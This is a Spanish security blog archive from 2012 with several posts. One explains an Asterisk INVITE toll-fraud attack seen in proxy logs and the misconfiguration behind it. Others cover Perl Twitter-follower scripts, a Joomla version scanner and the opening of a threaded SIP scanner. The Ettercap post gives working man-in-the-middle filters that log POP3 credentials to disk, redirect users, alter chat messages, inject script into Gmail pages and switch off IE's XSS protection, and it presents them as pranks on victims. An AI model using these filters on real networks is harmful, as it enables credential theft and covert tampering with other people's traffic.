Author Archive

Asterisk – INVITE attack

Miércoles, febrero 15th, 2012

Cuando hablamos de VoIP, la mayoría de los ataques con éxito están relacionados con malas configuraciones. A parte de posibles 0-days que puedan surgir y permitan a un atacante hacerse con el sistema, hay infinidad de scripts y programas que no sólo intentan buscar y crackear cuentas de usuario, como el famoso sipvicious sino que hay un tipo de ataque en concreto que se ha hecho bastante conocido y que ha dado muchos quebraderos de cabeza.


A pesar de que es algo antiguo, se sigue viendo este tipo de ataques, por ejemplo, en este proxy SIP de pruebas que ha montado el amigo @linuxmaniac:

Feb 14 19:55:48 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:48 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:40879903080866@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:40879903080866@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJf94b43055bQNdlDwuK8IgNjjWNGgnp@184.106.171.219
Feb 14 19:55:48 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:48 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:0442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:0442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed94x2TTRksZHBKr@184.106.171.219
Feb 14 19:55:50 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:50 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:00442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:00442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed92FESbviHe6VIp@184.106.171.219
Feb 14 19:55:52 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:52 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:000442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:000442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed90LMpE7cf6xj0g@184.106.171.219
Feb 14 19:55:54 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:54 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:001442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:001442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8eTxhaDNCbgBoV@184.106.171.219
Feb 14 19:55:56 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:56 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:9011442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:9011442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8cEyW8PTMdM9xK@184.106.171.219
Feb 14 19:55:58 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:58 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:900442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:900442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8a8PtrObFtggpA@184.106.171.219
Feb 14 19:56:00 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:00 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:011442032988743@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:011442032988743@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed87e4w6VZm12C7X@184.106.171.219
Feb 14 19:56:02 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:02 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+9011442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+9011442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed851dWaeL3kSQTp@184.106.171.219
Feb 14 19:56:04 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:04 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+900442032988739@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+900442032988739@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed832nfhK1PnDBhq@184.106.171.219
Feb 14 19:56:06 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:06 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+9442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+9442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed815SQTGS3vOzNl@184.106.171.219
Feb 14 19:56:08 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:08 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:9442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:9442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbfyeVcmlm4Bi41@184.106.171.219
Feb 14 19:56:10 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:10 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+90442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+90442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbdQOj7GUW7ft7P@184.106.171.219
Feb 14 19:56:12 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:12 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:90442032988738@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:90442032988738@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbb5fzz8bUYCteH@184.106.171.219
Feb 14 19:56:14 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:14 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+00442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+00442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb9p3RCA6IavNWv@184.106.171.219
Feb 14 19:56:16 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:16 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+011442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+011442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb7SmzBrJIb3oOJ@184.106.171.219
Feb 14 19:56:18 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:18 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb5efuPiaVPGrEN@184.106.171.219
Feb 14 19:56:20 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:20 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+000442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+000442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb3gLzf7noBsq32@184.106.171.219
Feb 14 19:56:22 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:22 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:1442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:1442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb1wCL2P0rcTk2t@184.106.171.219
Feb 14 19:56:24 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:24 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edafyoQN4NAWd100@184.106.171.219

Llevamos 2 días sufriendo este ataque y la solución es fácil, bloquear la IP, pero como es un servidor de pruebas, estamos aprovechando para testearlo :)



Como podemos ver, hay alguien desde la IP 184.106.171.219 (de Texas – USA) que está enviando diferentes INVITEs, y tratando de hacer llamadas al Reino Unido. Además, está jugando con diferentes prefijos para ver si se salta las restricciones del Dialplan: con 00, 0044, +0044, etc.



Al contrario de lo que piensa mucha gente, NO es necesario estar registrado para realizar una llamada. El comando REGISTER únicamente sirve para que nuestro servidor de VoIP sepa que estamos ahí y si llega una llamada destinada a nosotros, nos la pase. Es decir, nosotros nos registramos y le indicamos nuestros datos al servidor para nos tenga localizados y sepa contactar con nosotros.

Por el contrario, a la hora de hacer una llamada, basta con enviar una petición (INVITE).



¿Qué ocurre cuando tratamos de realizar una llamada?
Da igual que marquemos 100 que marquemos 0044545454545, aunque nosotros visualmente pensemos que 100 es una extensión interna y lo otro un geográfico, para el sistema es sólo un número y lo que va a hacer es, tras recibir un INVITE, intentar conectar con el destinatario. Al ser una llamada externa, buscará en el contexto ‘default’.



Normalmente, tendremos algo así en nuestro extensions.conf (de forma muy resumida):

[internal]
exten => 100,1,Dial(SIP/100,30,t)
exten => 100,n,Hangup()
exten => 101,1,Dial(SIP/101,30,t)
exten => 101,n,Hangup()

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

[phones]
include => internal
include => external

[default]
include => internal


Y en nuestro sip.conf incluiremos las extensiones en el contexto ‘phones’, para que puedan realizar llamadas tanto internas como externas:

[100]
type=peer
secret=xxxxxxxxxx
context=phones
[101]
type=peer
secret=xxxxxxxxxx
context=phones

De esta forma, al recibir una llamada, se intentará localizar únicamente las extensiones internas, que son las permitidas en el contexto por defecto. Del mismo modo que permitimos realizar llamadas fuera, a través del trunk, únicamente a los teléfonos registrados.


¿Qué es lo que hace la configuración de arriba?
En ‘internal’ se permite sólo llamar a las extensiones 100 y 101, pero en ‘external’ le estamos permitiendo realizar cualquier llamada (X puede ser cualquier número y el . indica cualquier longitud).


Por tanto, si pusiéramos en ‘default’ algo así:

[default]
include => internal
include => external

En este caso, estaríamos permitiendo a cualquiera que mande un INVITE, realizar llamadas a cualquier destino (sin necesidad de tener una cuenta registrada). Esto, aunque parece una tontería, ocurre mucho. Es un fallo tonto de configuración que nos puede salir muy caro. Y una muestra de que sigue ocurriendo esto es el ataque que hemos recibido tratando de sacar llamadas.


Los ejemplos los he intentado poner lo más sencillos posibles para una mejor comprensión, pero en realidad podemos (y debemos) discriminar los posibles destinos a los que permitimos llamar, y no poner .X_


Otra buena opción es poner en sip.conf la variable allowguest=no (que por defecto viene a yes, no se porqué) y que impide realizar llamadas a usuarios que no están dados de alta en el sistema.


Para comprobar si tu Asterisk es seguro puedes acceder aquí.


Y como lectura obligada:

http://www.sinologic.net/2007-05/una-configuracion-incorrecta-puede-costarte-mucho-dinero/

http://www.sinologic.net/blog/2009-02/la-voip-mal-configurada-llama-a-cuba/

http://www.sinologic.net/blog/2010-04/test-sip-sinologic/



Si quieres ver las posibles consecuencias de este tipo de ataques mira esto:

Warning! : Un Asterisk nos ha costado 15.000 Euros en un día


¿Quién me sigue en Twitter?

Viernes, febrero 3rd, 2012

Son muchos los que viven obsesionados con su Twitter. ‘¿Tengo algún seguidor nuevo hoy?’ ‘¡mierda! ¡tengo 2 menos que ayer!’

Dado que no me fío mucho de las herramientas online que te exigen meter tu usuario y contraseña, he hecho unos pequeños scripts para ver mis seguidores, comprobar si me sigue la gente que yo sigo, etc.

Para comenzar, vamos a ver un sencillo script, al que pasándole dos usuarios, nos dice si se siguen entre ellos …

#! /bin/perl
# by Pepelux (@pepeluxx)

use Net::Twitter;

my $nt = Net::Twitter->new(legacy => 0);

my ($user1, $user2) = @ARGV;

unless($ARGV[1]) {
	print "Usage: perl $0 <user1> <user2>\n";
	exit 1;
}

my $res = $nt->friendship_exists($user1, $user2);

if ($res eq true) {    
	print "$user1 is following $user2\n";
}
else {
	print "$user1 is not following $user2\n";
}

$res = $nt->friendship_exists($user2, $user1);

if ($res eq true) {    
	print "$user2 is following $user1\n";
}
else {
	print "$user2 is not following $user1\n";
}

Y el funcionamiento es sencillo:

pepelux@debian:~/twitter$ perl amigos.pl 
Usage: perl amigos.pl <user1> <user2>

pepelux@debian:~/twitter$ perl amigos.pl pepeluxx chemaalonso
pepeluxx is following chemaalonso
chemaalonso is following pepeluxx

Aquí vemos que yo sigo al ‘maligno’ y él me sigue a mí.

pepelux@debian:~/twitter$ perl amigos.pl 
Usage: perl amigos.pl <user1> <user2>

pepelux@debian:~/twitter$ perl amigos.pl pepeluxx reversemode
pepeluxx is following reversemode
reversemode is not following pepeluxx

En este caso, Rubén no me está siguiendo, a pesar de que yo le sigo hace años … mmm }:->

Bueno, pues esto es un chorrada de script, la verdad, pero nos sirve para ver un poco cómo usar el API de Twitter con Perl.

Tras esto, pensé en hacer algo automático que me sacara toda la gente que sigo y verificara si ellos me siguen a mí, por lo que me creé este otro script:

#! /bin/perl
# by Pepelux (@pepeluxx)

use Net::Twitter;
use WWW::Curl::Easy;

my ($user) = @ARGV;

unless($ARGV[0]) {
	print "Usage: perl $0 <user>\n";
	exit 1;
}

my $curl = WWW::Curl::Easy->new;
my $nt = Net::Twitter->new(legacy => 0);
my $url = "https://api.twitter.com/1/followers/ids.json?cursor=-1&screen_name=$user";

$curl->setopt(CURLOPT_HEADER,1);
$curl->setopt(CURLOPT_URL, $url);

my $response_body;
$curl->setopt(CURLOPT_WRITEDATA,\$response_body);
my $retcode = $curl->perform;

if ($retcode == 0) {
	my $response_code = $curl->getinfo(CURLINFO_HTTP_CODE);
	$response_body =~ /\[([0-9|,]+)\]/;
	my @followers_id = split(/,/, $1);

	foreach (@followers_id) {
		print get_user($user, $_)."\n";
	}
} else {
	die("An error happened: $retcode ".$curl->strerror($retcode)." ".$curl->errbuf."\n");
}

exit;               

sub get_user {
	my $user = shift;
	my $id = shift;
	
	my $url = "https://api.twitter.com/1/users/lookup.json?user_id=$id";
	$curl->setopt(CURLOPT_HEADER,1);
	$curl->setopt(CURLOPT_URL, $url);

	my $response_body;
	my $username = "";
	my $screenname = "";
	$curl->setopt(CURLOPT_WRITEDATA,\$response_body);
	my $retcode = $curl->perform;

	if ($retcode == 0) {
		my $response_code = $curl->getinfo(CURLINFO_HTTP_CODE);
		$username = $response_body;
		my $pos = index($username, "\"name\"");
		
		if ($pos > -1 && length($username < 100)) {
			$username =~ /\"name\"\:\"(.+)\"/;
			$username = $1;
			$pos = index($username, "\"");
			$username = substr($username, 0, $pos) if ($pos > -1);
		}

		$screenname = $response_body;
		$screenname =~ /\"screen_name\"\:\"([a-z|A-Z|0-9|-|_|]+)\"/;
		$screenname = $1;
	} else {
		die("An error happened: $retcode ".$curl->strerror($retcode)." ".$curl->errbuf."\n");
	}

	my $res = $nt->friendship_exists($screenname, $user);
	my $follow = "";

	if ($res eq true) {    
		$follow = " :: is following $user";
	}
	
	return "$username ($screenname - ID: $id)$follow";
}        

Pasando un usuario como parámetro, nos dice los seguidores que tiene y si le siguen a él o no:


pepelux@debian:~/twitter$ perl seguidores.pl
Usage: perl seguidores.pl <user>

pepelux@debian:~/twitter$ perl seguidores.pl pepeluxx
Paul Thompson (raganello - ID: 72968446)
Pablo Dom\u00ednguez  (PabloDgzRg - ID: 276615022)
Jes\u00fas (jesusninoc - ID: 231410165) :: is following pepeluxx
Darkasakerionz (Darkasakerionz - ID: 438326182) :: is following pepeluxx
p0is0n-123 (p0is0nseginf - ID: 434205269) :: is following pepeluxx
..........

La cosa pintaba bien pero de repente …

"error":"Rate limit exceeded. Clients may not make more than 150 requests per hour.

Cagontó!! 150 por hora??? imposible!!! Así que tras indagar un poco traté de hacer una validación de usuario con el curl pero parece que desde el 2010 no se puede, así que no me quedó otra que crearme un ID de desarrollador en https://dev.twitter.com/apps/new y modificar de nuevo el script, que quedó así:

#! /bin/perl
# by Pepelux (@pepeluxx)
# to get a key => https://dev.twitter.com/apps/new

use Net::Twitter;

my ($myuser) = @ARGV;

unless($ARGV[0]) {
	print "Usage: perl $0 <user>\n";
	exit 1;
}

# write here your API KEY data
my $consumer_key = "XXXX";
my $consumer_secret = "XXXX";
my $token = "XXXX";
my $token_secret = "XXXX";

my $nt = Net::Twitter->new(
	traits   => [qw/OAuth API::REST/],
	consumer_key        => $consumer_key,
	consumer_secret     => $consumer_secret,
	access_token        => $token,
	access_token_secret => $token_secret,
	);

# uncomment this line if you don't want to use an API KEY (only 150 requests)
#my $nt = Net::Twitter->new(legacy => 0);

my $cont = 0;

for ( my $cursor = -1, my $r; $cursor; $cursor = $r->{next_cursor}) {
	$r = $nt->friends_ids({screen_name=>$myuser,cursor=>$cursor});
 
	while(@{$r->{ids}}) {
		my @ids = splice @{$r->{ids}},0,100;
		my $friends = $nt->lookup_users({user_id=>\@ids});
 
		foreach (@$friends) {
			my $user = $_;
			my $screen_name = $user->{"screen_name"};
			my $name = $user->{"name"};
			print $screen_name." ($name)";

			my $res = $nt->friendship_exists($screen_name, $myuser);

			if ($res eq true) {    
				print " => is following $myuser";
				$cont++;
			}

			print "\n";
		}
	}
    
	print "\nYou follow $#friends\n";
	print "You have $cont followers\n";
}

Si lo ejecutamos, podemos ver la gente que sigo y, de ellos, los que me siguen a mí:

pepelux@debian:~/twitter$ perl siguiendo.pl pepeluxx
sandrogauci (Sandro Gauci) => is following pepeluxx
borjalanseros (Borja Lanseros) => is following pepeluxx
k3170Makan (Keith Makan) => is following pepeluxx
virtualminds_es (I�aki R.) => is following pepeluxx
jordi_prats (Jordi Prats) => is following pepeluxx
JordanSec (Jordan)
bytemarehack (Daniel Torres) => is following pepeluxx
tinpardo (tinpardo) => is following pepeluxx
...........

Si queremos hacerlo a la inversa y listar todos los que nos siguen, usaríamos este otro script:

#! /bin/perl
# by Pepelux (@pepeluxx)
# to get a key => https://dev.twitter.com/apps/new

use Net::Twitter;

my ($myuser) = @ARGV;

unless($ARGV[0]) {
	print "Usage: perl $0 <user>\n";
	exit 1;
}

# write here your API KEY data
my $consumer_key = "XXXX";
my $consumer_secret = "XXXX";
my $token = "XXXX";
my $token_secret = "XXXX";

my $nt = Net::Twitter->new(
	traits   => [qw/OAuth API::REST/],
	consumer_key        => $consumer_key,
	consumer_secret     => $consumer_secret,
	access_token        => $token,
	access_token_secret => $token_secret,
	);

# uncomment this line if you don't want to use an API KEY (only 150 requests)
#my $nt = Net::Twitter->new(legacy => 0);

my $cont = 0;
my @followers;

for ( my $cursor = -1, my $r; $cursor; $cursor = $r->{next_cursor} ) {
	$r = $nt->followers({ screen_name=>$myuser,cursor => $cursor });
	push @followers, @{ $r->{users} };

	for my $user (@followers) {
		my $screen_name = $user->{"screen_name"};
		my $name = $user->{"name"};
		print $screen_name." ($name)";

		my $res = $nt->friendship_exists($myuser, $screen_name);

		if ($res eq true) {    
			print " => $myuser is following";
			$cont++;
		}

		print "\n";
	}
    
	print "\nYou follow $cont\n";
	print "You have $#followers followers\n";
}

Y en este caso, al ejecutarlo, veríamos algo así:

pepelux@debian:~/twitter$ perl seguidores.pl pepeluxx
raganello (Paul Thompson)
PabloDgzRg (Pablo Dom�nguez )
jesusninoc (Jes�s) => pepeluxx is following
Darkasakerionz (Darkasakerionz)
p0is0nseginf (p0is0n-123) => pepeluxx is following
CharSecurity ([hat~se[urity) => pepeluxx is following
Darkvidhck (David Galisteo)
fpalenzuela (Pensador)
k3170Makan (Keith Makan) => pepeluxx is following
violetaromero3 (violeta romero)
..........

Estos scripts no es que sean muy útiles, pero nos sirven de iniciación para adentrarnos un poco en la API de Twitter. Toda la documentación está aquí: https://dev.twitter.com/

Saludos



Jugando con los filtros para Ettercap

Jueves, enero 5th, 2012

Aprovechando que estoy en casa griposo y además, preparando el contenido para los talleres de ConectaCon Jaen, donde espero veros a todos :) … voy a poner algunos filtros para Ettercap que he ido programando (only for fun) o que he encontrado por la red. La verdad es que con 4 comandos y un poco de imaginación, se pueden hacer muchas cosas }:->

No voy a contar qué es Ettercap ni cómo se usan los filtros dado que hay muchísima información en Internet. Así que vamos directamente a ver algunos ejemplos:



Ejemplo 1: Baneando el acceso a Tuenti.com

# By Pepelux

if (ip.src == '95.131.168.181' || ip.dst == '95.131.168.181') {

     drop();

     kill();

     msg("banned IP Tuenti.com");

}

Este pequeño script lo que hace es, que si la dirección origen o destino es la indicada, borra el paquete y mata la conexión.



Ejemplo 2: Bloqueando paquetes UDP

# By Pepelux

if (ip.proto == UDP) {

     drop();

     kill();

     msg("banned UDP Packet");

}

Este otro script bloquea todo el tráfico UDP.



Ejemplo 3: Cambiando las imágenes que el usuario carga en su navegador al visitar una web

############################################################################

#                                                                          #

#  Jolly Pwned -- ig.filter -- filter source file                          #

#                                                                          #

#  By Irongeek. based on code from ALoR & NaGA                             #

#  Along with some help from Kev and jon.dmml                              #

#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #

#                                                                          #

#  This program is free software; you can redistribute it and/or modify    #

#  it under the terms of the GNU General Public License as published by    #

#  the Free Software Foundation; either version 2 of the License, or       #

#  (at your option) any later version.                                     #

#                                                                          #

############################################################################

if (ip.proto == TCP && tcp.dst == 80) {

     if (search(DATA.data, "Accept-Encoding")) {

          replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string

          msg("zapped Accept-Encoding!\n");

     }
}

if (ip.proto == TCP && tcp.src == 80) {

     replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");

     replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");

     msg("Filter Ran.\n");

}

Aquí, cada vez que se detecte una conexión al puerto 80 (HTTP), cargará las imágenes de http://www.irongeek.com/images/jollypwn.png en lugar de las originales.

Al igual que cambiamos las imágenes, podemos modificar textos, por ejemplo, podemos hacer un replace de ‘Madrid’ por ‘Barça ‘  :)



Ejemplo 4: Guardando datos en disco

# By Pepelux

if (ip.proto == TCP) {
	if (tcp.src == 110 || tcp.dst == 110) {
		if (search(DATA.data, "")) {
			log(DECODED.data, "/tmp/xxx.log");
		}
	}
}

Se almacenará en el fichero indicado todo el tráfico generado por el puerto 110 (POP3), almacenando tanto el contenido de los mails, como usuarios y contraseñas de acceso, etc.



Ejemplo 5: Inyectando paquetes

# By Pepelux

if (ip.proto == TCP && tcp.src == 80) {
   if (regex(DATA.data, "<title>.*Bing.*</title>")) {
      drop();
      Inject("/tmp/redirect.txt");
      msg("Redireccion");
   }
}


Donde redirect.txt sería algo así:

<html>
   <head>
      <meta http-equiv="Refresh" content="0; URL=http://www.google.com">
   </head>
   <body></body>
</html>

En este caso, cada vez que el usuario intente cargar el buscador Bing en su navegador, lo que hará será ir siempre a Google.

Esto parece una broma, pero estando dentro de la propia red, podemos redirigir al usuario a una web clonada con algún tipo de malware, o combinarlo con Metasploit.



Ejemplo 6: Alterando datos del Messenger

# By Pepelux

if (ip.proto == TCP) {
	if (tcp.src == 1863 || tcp.dst == 1863) {
		if (search(DATA.data, "")) {
			replace("estupendo", "horroroso");
			replace("hasta pronto", "hasta nunca ");
		}
	}
}

De forma similar a las imágenes de la web, en este caso lo que hacemos es modificar las conversaciones de los usuarios, de manera que cuando un usuario escriba la palabra ‘estupendo’ el otro leerá ‘horroroso’.

A parte de esto, en las cabeceras de las conversaciones siempre aparece la dirección de mail del usuario al que escribimos, por lo que, en caso de conocer los usuarios que tiene la víctima en su Messenger, podemos intercambiar las direcciones  - replace(“direccion1@hotmail.com”, ”direccion2@hotmail.com”) - , de manera que al escribirle un usuario le llegaría el mensaje como si fuera de otro … vamos, para echarse unas risas :)



Ejemplo 7: Puteando al personal

# By Pepelux

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "gzip")) {
      replace("gzip", "    ");
      msg("whited out gzip\n");
   }
   if (search(DATA.data, "deflate")) {
      replace("deflate", "       ");
      msg("whited out deflate\n");
   }
   if (search(DATA.data, "gzip,deflate")) {
      replace("gzip,deflate", "            ");
      msg("whited out gzip and deflate\n");
   }
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("zapped Accept-Encoding!\n");
   }
   if (search(DECODED.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("zapped Accept_Decoded-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
	if (regex(DATA.data, "<title>Gmail</title>"))
	{
           replace("</title>", "</title><script>alert('Gracias por usar nuestros servicios de Gmail')</script>
                                               <script>alert('Nos congratula que nos haya escogido')</script>
                                               <script>alert('De verdad, que le estamos muy agradecidos')</script>
                                               <script>alert('Esta bien, ya puede acceder a su correo')</script>"); 	
       } 
} 

En este caso, lanzamos algunos Alert cada vez que el usuario abra la página de GMail.



Ejemplo 8: Eliminando el filtro Anti-XSS de Internet Explorer

# By Pepelux

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "gzip")) {
      replace("gzip", "    "); 
   }
   if (search(DATA.data, "deflate")) {
      replace("deflate", "       "); 
   }
   if (search(DATA.data, "gzip,deflate")) {
      replace("gzip,deflate", "            "); 
   }
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
   }
   if (search(DATA.data, "X-XSS-Protection: 1")) {
      replace("X-XSS-Protection: 1", "X-XSS-Protection: 0"); 
      msg("XSS Protection unactive\n");
   }
}



———-

Como ya comenté, la programación es muy sencilla y entra más en juego la imaginación de cada uno. Saludos

JoomlaScan v1.3

Domingo, octubre 30th, 2011

Lo malo de programar aplicaciones que requieren un mantenimiento es que nunca sacas tiempo para actualizarlos. Hace poco me preguntaron por él mis amigos @ralcaz y @falcon_lownoise y la verdad es que ni me acordaba ya de este programa.

Tras echarle un ojo al código, (dios mío! 14 meses sin actualizarlo! cómo pasa el tiempo!), vi que la última versión que detectaba eran las versiones beta de la 1.6, así que me he descargado las nuevas y tras unas horas haciendo diffs y viendo los cambios de revisiones en http://joomlacode.org/, ya detecta todas las versiones de la 1.6 y de la 1.7.

Además me he dado cuenta de una cosa muy curiosa, que no se si afecta a las versiones anteriores a la 1.6.0, y es que en el fichero /administrator/manifest/files/joomla.xml hay una etiquete que te dice la versión exacta:

<version>1.X.Y</version>

Con esto la búsqueda de versiones se reduce a mirar un único fichero, aunque, por si las moscas, he buscado otras diferencias que hacen posible detectar la versión exacta, incluso sin estar ese fichero.

Y bueno, para el que no lo sepa, JoomlaScan es un programa que intenta averiguar la versión exacta de Joomla! (o al menos aproximarse) que está corriendo en un servidor y detecta los componentes que se están usando. Además, muestra un listado de posibles bugs, tanto para el propio Joomla! como para los diferentes componentes (esto último es más inexacto ya que no se tiene en cuenta la versión del componente).

Hay una versión en Windows, que no la he actualizado y sólo detecta hasta la 1.6-beta: [descargar] y otra versión en perl, que es la que he actualizado hasta la 1.7.2 [descargar]

 

 

Escaner de servicios SIP

Miércoles, septiembre 21st, 2011

Continuando con la VoIP, tengo otro script que he programado este verano y que se trata de un escaner de servicio SIP. ¿porqué? pues porque el más que conocido SIPvicious (http://code.google.com/p/sipvicious/) o se ha quedado viejo, o no está especialmente diseñado para Asterisk, y el svmap.py, muchas veces, no muestra los resultados esperados. En algunos escaneos hay que usar el parámetro -c y en otros no para obtener resultados válidos, dependiendo de la versión con la que te enfrentes. Con lo cual toca escanear los mismos rangos 2 veces para obtener todos los resultados.

Además, que el fingerprint no da muchas pistas. Es más útil la información que aparece en el user agent.

Bueno, y tras criticar a este fabuloso programa (el resto de herramientas de la suite SIPvicious funcionan bien xDD) pongo mi modesto script, que escanea, usando threads, (va un poco más rápido que SIPvicious) bien un host o bien un rango de IPs. Del mismo modo que puede escanear diferentes puertos a la vez.

También es posible indicarle el método de escaneo que deseamos, permitiendo mandar paquetes INVITE, OPTIONS o REGISTER.

Y sin enrollarme más, aquí va el script:

#!/usr/bin/perl
# -=-=-=-=-=-=
# Sipscan v1.0
# -=-=-=-=-=-=
#
# Pepelux <pepeluxx[at]gmail[dot]com>

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use threads;
use threads::shared;
use Getopt::Long;
use Digest::MD5;

my $maxthreads = 300;
my $time_ping = 2; # wait secs

my $threads : shared = 0;
my $found : shared = 0;
my $count : shared = 0;
my $percent : shared = 0;
my @range;
my @results;

my $host = '';	   # hosts to scan
my $port = '';	   # ports to scan
my $method = '';	# method to use (INVITE, REGISTER, OPTIONS)
my $v = 0;		   # verbose mode

my $user = "100";
